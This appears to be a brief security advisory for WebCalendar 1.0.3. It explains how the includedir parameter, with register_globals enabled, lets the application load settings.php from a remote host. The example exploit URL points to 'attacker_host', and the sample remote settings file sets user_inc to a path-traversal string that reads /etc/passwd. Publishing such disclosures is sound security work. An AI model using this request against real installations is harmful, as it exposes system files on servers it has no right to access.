WebCalendar-1.0.3 reading of any files

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Version:    WebCalendar-1.0.3

Type:       Reading of any files

Description:
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includes/config.php:
line  64

if ( ! empty ( $includedir ) ) 
  $fd = @fopen ( "$includedir/settings.php", "rb", true );

......

while ( ! feof ( $fd ) ) {
  $data .= fgets ( $fd, 4096 );
}

$configLines = explode ( "\n", $data );

for ( $n = 0; $n < count ( $configLines ); $n++ ) {
......
    $settings[$matches[1]] = $matches[2];
......

$user_inc = $settings['user_inc'];
......

includes/init.php
include_once "includes/$user_inc";

Example:
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index.php?includedir=http://attacker_host
where in attacker_host exists file settings.php , which content

"
<?php

    echo '<?php
# updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300
Unimportant variables can be taken from original settings.php
user_inc: ../../../../../../../../../../../../../../../../etc/passwd
# end settings.php
?>';

?> 
"

Requirements
register_globals = On;